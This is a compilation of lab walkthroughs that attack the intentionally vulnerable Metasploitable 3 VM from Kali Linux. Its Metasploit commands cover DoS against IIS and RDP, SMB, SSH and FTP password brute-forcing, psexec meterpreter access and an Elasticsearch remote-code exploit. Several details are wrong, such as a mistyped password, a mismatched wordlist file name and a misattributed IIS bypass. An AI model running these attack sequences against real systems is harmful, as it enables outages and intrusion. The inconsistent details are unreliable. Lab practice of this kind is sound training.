Perform DOS Attack on Metasploitable 3

Target: Metasploitable 3

Attacker: Kali Linux

Scan the target IP to know the Open ports for running services. Use nmap command for scanning the victim PC. Type the following command on terminal in kali Linux to use aggressive scan.

nmap –p-  -A 192.168.1.14

From the result of scan we found that port 3389 is open for remote desktop service and under open port 80 http server header is configured with Microsoft IIS 7.5

As we know port 3389 is badly affected with Dos attack moreover Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files).There is a password protected directory configured that has administrative asp scripts inside.  An attacker requests the directory with: $i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials.

https://www.rapid7.com/db/modules/auxiliary/dos/http/ms15_034_ulonglongad

Use Nessus tool to scan the vulnerabilities of target Pc. Form vulnerabilities scanning result it shows two high vulnerabilities for exploit.

Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type following command for Dos attack.

This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service.

msf > use auxiliary/dos/http/ms15_034_ulonglongadd

msf auxiliary(ms15_034_ulonglongadd) >set rhosts 192.168.1.14

msf auxiliary(ms15_034_ulonglongadd) >exploit

In same way we’ll create Dos attack through RDP connection for port 3389 using another module.

This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 Connect MCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf auxiliary(ms12_020_maxchannelids) >set rhost 192.168.1.14

msf auxiliary(ms12_020_maxchannelids) >set rport 3389

msf auxiliary(ms12_020_maxchannelids) >exploit

Hack Metasploitable 3 using SMB Service Exploitation

Target: Metasploitable 3

Attacker: Kali Linux

Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover SMB login attack for which it requires open SMB port.

Type the following command on terminal in kali Linux.             

nmap –p- -A 192.168.1.11

In previous article it’s about SSH Login attack read from here.

Luckily!!! In Metasploit3 port 445 is open for SMB service mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between server and client on a network. 

Now it is necessary to create a dictionary file to exploit it. To make a dictionary file type the following command:

 cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a customized wordlist generator that sticks to just the site you have specified and will go to a depth of 2 links and returns a list of words which can then be used for password crackers such as John the Ripper.

Start metasploit framework by typing msfconsole on terminal in kali Linux.

This module will test SMB logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.

Type following command under msfconsole

use auxiliary/scanner/smb/smb_login

msf auxiliary (smb_login)>set rhosts 192.168.1.11

msf auxiliary (smb_login)>set rport 445

msf auxiliary (smb_login)>set smbuser vagrant

msf auxiliary (smb_login)>set pass_file /root/Desktop/pass.txt

msf auxiliary (smb_login)>set stop_on_success true

msf auxiliary (smb_login)> exploit

This exploit will start brute force attack to match the valid authentication and give green sign when founds the correct credential for SMB login.

Our attack is successful and we have got valid login vagrant: vagrant as username and password.

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

Hence using above credential this exploit will try to provide the meterperter shell.

Type following command to use this module for attack.

msf> use exploit/windows/smb/psexec

msf exploit (psexec)>set rhosts 192.168.1.11

msf exploit (psexec)>set rport 445

msf exploit (psexec)>set smbuser vagrant

msf exploit (psexec)>set smbpass vargrant

msf exploit (psexec)> exploit

Wonderful!!! Our meterpreter session 1 is opened and you have got victim shell.

meterpreter> sysinfo

Metasploitable 3 Exploitation using Brute forcing SSH

Target: Metasploitable 3

Attacker: Kali Linux

Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.

nmap –p- -sV 192.168.1.8

In previous article it’s about FTP Login attack read from here.

So here you can see all available open ports and their services today this article will cover SSH login attack for which we required open SSH port luckily in Metasploit3 open 22 is open for SSH service So let’s exploit it for this we need a dictionary file. To make a dictionary file type the following command:

 cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.

Collect the wordlist from CeWL,

 Start Metasploit framework by typing msfconsole on the terminal.

This module will test ssh logins on a range of machines and report successful logins If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.

use auxiliary/scanner/ssh/ssh_login

msf exploit (ssh_login)>set rhosts 192.168.1.8

msf exploit (ssh_login)>set port 22

msf exploit (ssh_login)>set username vagrant

msf exploit (ssh_login)>set pass_file /root/Desktop/pass.txt

msf exploit (ssh_login)>set stop_on_success true

msf exploit (ssh_login)> exploit

This’ll dump the credential as the username: vagrant and password: vagrant successful login for SSH connection moreover provides the session for victim’s shell.

Hack Metasploitable 3 using Elasticsearch Exploit

Elastic search is a distributed REST search engine used in companies for analytic search. And so we will learn how to exploit our victim through it. Start off by nmap.

nmap –p- -A 192.168.1.8

Nmap shows a splendid result and in the result you can see that HHTP service going on 9200 which is using elasticseatch REST. Let’s search it exploit on google.

YES! We have an exploit for that. Let’s use it to our advantage.

To use this exploit go to Metasploit and type:

use exploit/multi/elasticsearch/script_mvel_rce

msf exploit (script_mvel_rce)>set rhost 192.168.1.8

msf exploit (script_mvel_rce)>set rport 9200

msf exploit (script_mvel_rce)>exploit

FTP Service Exploitation in Metasploitable 3

Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. It is intended to be used as a target for testing exploits with Metasploit, hence to brush up our Metasploit skills.

We already know that our target is metasploitable 3 so there is no point to discover our target. So, let’s straight move upto nmap scan.

nmap -p- -sV 192.168.1.8

We can see that FTP port is open so we can exploit it and to do so we need a dictionary file through which we can successfully attack. To make a dictionary file type the following command :

cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/dict.txt

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.

After generating the wordlist through CeWL, open Metasploit by typing msfconsole on the terminal of your Kali.

And then type:

use auxiliary/scanner/ftp/ftp_login

msf exploit (ftp_login)>set username vagrant

msf exploit (ftp_login)>set rhosts 192.168.1.8

msf exploit (ftp_login)>set pass_file /root/Desktop/pass.txt

msf exploit (ftp_login)>set stop_on_success true

msf exploit (ftp_login)> exploit

Above used exploit will give you a correct password to go with the username. Once you have got it then open the WinScp software, give the target’s IP and the port number along with the username: vagrant and password: vagrant

Then click on Login button. After logging in you can find you the files on the FTP server and you can use them to your advantage.